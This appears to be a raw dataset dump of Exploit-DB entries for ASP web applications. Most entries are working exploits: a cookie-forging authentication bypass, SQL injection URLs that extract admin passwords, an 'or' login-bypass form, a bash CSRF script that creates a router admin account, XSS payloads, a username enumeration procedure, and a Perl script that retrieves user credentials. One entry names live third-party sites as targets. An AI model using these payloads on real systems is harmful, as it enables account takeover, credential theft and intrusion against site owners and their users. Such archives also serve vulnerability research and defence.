deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15784
Description: Elcom CommunityManager.NET - Authentication Bypass
Type: webapps
Platform: asp
Date: 2010-12-20
Author: Sense of Security

Exploit:
Elcom CommunityManager.NET Auth Bypass Vulnerability - Security Advisory - SOS-10-004
Release Date.                  20-Dec-2010
Last Update.                   -
Vendor Notification Date.      22-Jan-2010
Product.                       Elcom Technology's
                               CommunityManager.NET
Platform.                      IIS with ASP.NET
Affected versions.             v6.7 verified and 
                               possibly others.
Severity Rating.               High
Impact.                        Application "System" user access
Attack Vector.                 Remote without authentication
Solution Status.               Vendor patch
CVE reference.                 Not yet assigned

Details.
The web application uses cookie parameters passed via HTTP 
requests to identify which user is logged in. Authentication 
routines can be bypassed by simply appending the below POC 
string to a cookie which already contains a valid ASP.NET 
session ID. The value given to the various cookie parameters 
indicates the specific user ID for the application user the 
attacker wishes to impersonate.

Proof of Concept.
To exploit this vulnerability, simply browse to the software 
to automatically create a valid ASP.NET session ID. Once 
obtained, add the following to the cookie parameter:

; CMLogUserwww2=21; OnlineLearnUserwww2=21

Note that the ID value of "21" in the above instance 
indicates that the user with the user ID of "21" will be 
impersonated. If this user ID is not linked to a user account,
access will not be obtained. Some enumeration or educated
guessing may be required. 

Solution.
Sense of Security has been advised that Elcom Technology has
patched all versions of CommunityManager.NET and notified all
clients.

Discovered by.
Sense of Security Labs.

About us.
Sense of Security is a leading provider of information
security and risk management solutions. Our team has expert
skills in assessment and assurance, strategy and architecture,
and deployment through to ongoing management. We are
Australia's premier application penetration testing firm and
trusted IT security advisor to many of the countries largest
organisations.

Sense of Security Pty Ltd 
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au/consulting/penetration-testing
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-10-004.pdf
Exploit-DB #23440
Description: elektropost episerver 3/4 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2003-12-15
Author: babbelbubbel

Exploit:
source: https://www.securityfocus.com/bid/9223/info

Multiple vulnerabilities were reported in EPIServer that include directory traversal, information disclosure, and denial of service. These issue result from insufficient sanitization of user-supplied input.

Specific version information was not provided in the report. All versions are assumed to be vulnerable until further information is made public.

These issues are currently undergoing further analysis.

http://www.example.com/templates/Page.aspx?id=20691
http://www.example.com/news.asp?id=7661
http://www.example.com/system/linkurl.asp?root=../../../
http://www.example.com/templates/CommonPage____19461.asp
Exploit-DB #17015
Description: Element-IT PowUpload 1.3 - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2011-03-21
Author: Daniel Godoy

Exploit:
# Exploit Title: Element-IT PowUpload 1.3 File Arbitrary Upload
# Date: 21/03/2011
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software: Element-IT PowUpload 1.3
# Software Link: http://www.element-it.com/downloadfile.aspx?type=pow
# Demo:
http://site.com/Examples/PowUpload/Simpleupload.htm
 
[Comment]
Agradezco a mis amigos: Hernan Jais, Alfonso Cuevas, Inyexion,
Login-Root, KikoArg, Ricota,
Truenex, TsunamiBoom, _tty0, Big, Sunplace, Killerboy,Erick
Jordan,Animacco ,yojota, Pablin77, SPEED, Knet, Cereal,
MagnoBalt,l0ve, NetToxic,
Gusan0r, Sabertrail, Maxi Soler, Darioxhcx,r0dr1,y0u-know.
Dedicatoria especial para SIR
Exploit-DB #4578
Description: emagiC CMS.Net 4.0 - 'emc.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-10-28
Author: hak3r-b0y

Exploit:
--------------------

emagiC CMS.Net v4.0 Remote SQL Injection Exploit

--------------------

+ Found  : hak3r-b0y
+ Gr33tz : darko , V4 CrackerS , hacker_alQassam , Ans , Barra, all ans-hacker.com members
+ Script URL : http://www.emagic-cms.com/
+ D0rk : inurl:emc.asp?pageid=
--------------------

Exploit:

emc.asp?pageId=1' UNION SELECT TOP 1 convert(int, password%2b'%20x') FROM EMAGIC_LOGINS where username='sa'--

y0u will find the crypted password

for the admin 'sa'
--------------------

ContacT: mohamed_amine_1991@hotmail.com

--------------------

# milw0rm.com [2007-10-28]
Exploit-DB #7534
Description: Emefa Guestbook 3.0 - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-21
Author: Cyber.Zer0

Exploit:
###########################################################
#Title:       Emefa Guestbook V 3.0 Remote Database Disclosure Vulnerability
#Credit:      Cyber.Zer0          
#E-mail:             Cyber.Zer0[4t]Hotmail[dot]com                                                                                           
#Download:    http://www.emefa.dyndns.org/downloads/      
#Remote:      Yes                                         
#Dork:        "Emefa Guestbook V 3.0"                                            
############################################
--=[Database Disclosure]=--
http://target.com/guestbook.mdb
####################################

Live Demo

http://www.navigatorcentrum.nu/ung/guestbook/guestbook.mdb

Or
http://www.devalk.be/guestbook/guestbook.mdb

# milw0rm.com [2008-12-21]
Exploit-DB #28768
Description: Emek Portal 2.1 - 'Uyegiris.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-10-06
Author: Dj ReMix

Exploit:
source: https://www.securityfocus.com/bid/20378/info

Emek Portal is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects version 2.1; other versions may also be vulnerable.

<title>Remote Admin Attack - BiyoSecurity.Org</title> <center> RMx - BiyoSecurtiy.Org</center> <FORM NAME=giris ACTION="http://victim.com/Path to script/uyegiris.asp" METHOD=post> <table align=center> <td>Kullanici Adi:</td><td><INPUT NAME=k_a class="input" value="'or'" SIZE=15></td> </tr><tr> <td>Sifre:</td><td><INPUT NAME=sifre TYPE=text class="input" value="'or'" SIZE=15></td> </tr><tr> <td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td> </tr></table></form>
Exploit-DB #48217
Description: Enhanced Multimedia Router 3.0.4.27 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: asp
Date: 2020-03-16
Author: Miguel Mendez Z

Exploit:
# Exploit Title: Enhanced Multimedia Router 3.0.4.27 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-03-05
# Exploit Author: Miguel Mendez Z.
# Vendor Homepage: www.sumavision.com
# Software Link: http://www.sumavision.com/ensite/i.php?id=29
# Version: EMR 3.0.4.27
# CVE : CVE-2020-10181

-----------------------Exploit Bash---------------------------
echo ""
read -p "Set Hostname: " host
read -p "Set username: " user
echo "(The password should be between 6 and 32 in length)"
read -p "Set password: " pass
echo
echo "[+] creating user..."
sleep 2
postdata=$(curl -X POST -d "type=11&cmd=3&language=0&slotNo=255&setString=$user<*1*>administrator<*1*>$pass" "http://$host/goform/formEMR30" -s | grep -i "0")
if echo "$postdata" | grep -q "0</html>"; then
echo "[+] http://$host/frame_en.asp"
echo "[+] created access($user - $pass)"
else
echo "[-] user not created"
fi
------------------------------------------------------

Reference:
https://github.com/s1kr10s/Sumavision_EMR3.0/blob/master/exploit_sumavision.sh
Exploit-DB #27945
Description: Enigma Haber 4.2 - Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-06-02
Author: The_BeKiR

Exploit:
source: https://www.securityfocus.com/bid/18226/info

Enigma Haber is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/hava.asp?il=[Xss]
Exploit-DB #1840
Description: Enigma Haber 4.3 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-05-28
Author: nukedx

Exploit:
Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploits works on Enigma Haber <= 4.3
Original advisory can be found at: http://www.nukedx.com/?viewdoc=34
http://[site]/enigmadir/e_mesaj_yaz.asp?id=[PII_REDACTED]+UNION+SELECT+0,sifre,2,3,4,5,6,7,8,9,10,110,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+yonet+where+yonetid=[PII_REDACTED]
http://[site]/enigmadir/yazdir.asp?hid=SQL
http://[site]/enigmadir/yorum.asp?hid=SQL
http://[site]/enigmadir/edi_haber.asp?id=SQL&tur=1
http://[site]/enigmadir/ara.asp?yo=1&ara=SQL&ko=0&k=0&d=hid&e=desc&ay=00&yil=00
http://[site]/enigmadir/arsiv.asp?d=hid&e=desc+UNION+SELECT+0,sifre,isim,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+yonet+where+yonetid%20like%[PII_REDACTED]64&ay=00&yil=00&e_kad=00
http://[site]/enigmadir/haber_devam.asp?id=SQL
Examples in the below needs admin rights.
http://[site]/enigmadir/admin/y_admin.asp?yid=SQL
http://[site]/enigmadir/admin/y_admin.asp?yid=34+UNION+SELECT+0,1,mail,3,4,5,sifre,isim,8,9,sehir+from+yonet+where+yonetid=[PII_REDACTED]
http://[site]/enigmadir/admin/reklam_detay.asp?bid=SQL
http://[site]/enigmadir/admin/detay_yorum.asp?hid=SQL
http://[site]/enigmadir/admin/haber_sil.asp?hid=SQL
http://[site]/enigmadir/admin/kategori_d.asp?o=1&kid=SQL
http://[site]/enigmadir/admin/haber_ekle.asp?tur=SQL
http://[site]/enigmadir/admin/e_mesaj_yaz.asp?s=SQL
http://[site]/enigmadir/admin/admin_sil.asp?id=SQL

# nukedx.com [2006-05-27]

# milw0rm.com [2006-05-28]
Exploit-DB #51335
Description: ENTAB ERP 1.0 - Username PII leak
Type: webapps
Platform: asp
Date: 2023-04-08
Author: Deb Prasad Banerjee

Exploit:
Exploit Title: ENTAB ERP 1.0 - Username PII leak
Date: 17.05.2022
Exploit Author: Deb Prasad Banerjee
Vendor Homepage: https://www.entab.in
Version: Entab ERP 1.0
Tested on: Windows IIS
CVE: CVE-2022-30076

Vulnerability Name: Broken Access control via Rate Limits

Description:
In the entab software in fapscampuscare.in, there is a login portal with a
UserId field. An authenticated user would enter and get their name as well
as other services. However, there should be a rate limit in place, which is
not present. As a result, a hacker could bypass the system and obtain other
usernames via broken access control. This enables a threat actor to
obain the complete full name and user ID of the person.

POC:
1. Go to fapscampuscare.in or any entab hosted software and find the entab
software.
2. Use a proxy to intercept the request.
3. Since it's a student login, try a random UserId (e.g., s11111).
4. Intercept the request using Burp Suite and send it to the Intruder.
5. Select payloads from number[PII_REDACTED]0, and turn off URL encoding on
the UserId parameter.
6. Start the attack and sort by length to obtain the username and full name
of other users.
Exploit-DB #2989
Description: Enthrallweb eCars 1.0 - 'types.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-23
Author: ajann

Exploit:
*******************************************************************************
# Title   :  Enthrallweb eCars 1.0 (types.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.enthrallweb.us
# $$      :  179.40  USD

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//Types.asp?Type_id=[SQL]

Example:

Home >> Pass
//Types.asp?Type_id=-1%20union%20select%200,u_Password%20from%20users
Home >> user
//Types.asp?Type_id=-1%20union%20select%200,u_ID%20from%20users


[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-23]
Exploit-DB #29118
Description: Enthrallweb eClassifieds - 'ad.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21192/info

eClassifieds is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/ad.asp?AD_ID=[sql]
http://www.example.com/ad.asp?cat_id=[sql]
http://www.example.com/ad.asp?cat_id=35&sub_id=[sql]
http://www.example.com/ad.asp?cat_id=35&sub_id=102&ad_id=[sql]
Exploit-DB #29119
Description: Enthrallweb eClassifieds - 'dircat.asp?cid' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21192/info
 
eClassifieds is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/dircat.asp?cid=[sql]
Exploit-DB #29120
Description: Enthrallweb eClassifieds - 'dirSub.asp?sid' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21192/info
  
eClassifieds is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
http://www.example.com/dirSub.asp?sid=[sql]
Exploit-DB #29122
Description: Enthrallweb eHomes - 'compareHomes.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21193/info
 
eHome is prone to multiple input-validation vulnerabilities, including cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/compareHomes.asp?compare='[sql]
http://www.example.com/compareHomes.asp?compare=Compare&clear='[sql]
http://www.example.com/compareHomes.asp?compare=Compare&clear=Clear&adID='[sql]
Exploit-DB #29121
Description: Enthrallweb eHomes - 'homeDetail.asp?AD_ID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21193/info

eHome is prone to multiple input-validation vulnerabilities, including cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/homeDetail.asp?AD_ID='[sql]
Exploit-DB #29124
Description: Enthrallweb eHomes - 'result.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21193/info
   
eHome is prone to multiple input-validation vulnerabilities, including cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
   
http://www.example.com/result.asp?city=[xss]
http://www.example.com/result.asp?city=1&cat=2&imageField2=1&State=[xss]
Exploit-DB #29123
Description: Enthrallweb eHomes - 'result.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21193/info
  
eHome is prone to multiple input-validation vulnerabilities, including cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
http://www.example.com/result.asp?city=1&cat=2&imageField2=1&State=1&aminprice='[sql]
http://www.example.com/result.asp?city=1&cat=2&imageField2=1&State=1&aminprice=0&amaxprice='[sql]
http://www.example.com/result.asp?city=1&cat=2&imageField2=1&State=1&aminprice=0&amaxprice=10000000&abedrooms='[sql]
Exploit-DB #2987
Description: Enthrallweb eHomes 1.0 - Multiple (SQL Injection / Cross-Site Scripting) Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-12-23
Author: ajann

Exploit:
*******************************************************************************
# Title   :  Enthrallweb eHomes 1.0 Multiple (SQL/XSS) Vulnerabilities
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.enthrallweb.us
# $$      :  179.40  USD

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//result.asp?city=&State=&amaxprice=10000000&abedrooms=&cat=&aminprice=[SQL]

Example:

//result.asp?city=&State=&amaxprice=10000000&abedrooms=&cat=&aminprice=0%20union%20select%20U_Password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20users

[[/SQL]]

[[XSS]]]---------------------------------------------------------

http://[target]/[path]//result.asp?city=[XSS]

Example:

//result.asp?city=%22%3E%3Cscript%3Ealert%28%27x%27%29%3B%3C%2Fscript%3E+

[[/XSS]]


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-23]
Exploit-DB #2988
Description: Enthrallweb eJobs - 'newsdetail.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-23
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: Enthrallweb eJobs (newsdetail.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.enthrallweb.us
#[$$         : 179.40  USD
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 2){
print "
[========================================================================
[//  Enthrallweb eJobs (newsdetail.asp) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target] [path]
[//                   Example: exploit.pl victim.com /
[//                   Example: exploit.pl victim.com /path/
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "/jseekers/newsdetail.asp?ID=";
$target = "-1%20union%20select%200,U_ID,U_Password,0,0,0,0,0,0,0,0%20from%20users";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /<\/b><font color=\"#333333\" size=\"1\">(.*?)<\/font>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /<font color=\"#333333\" size=\"1\">(.*?)<\/font>/){ 
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2006-12-23]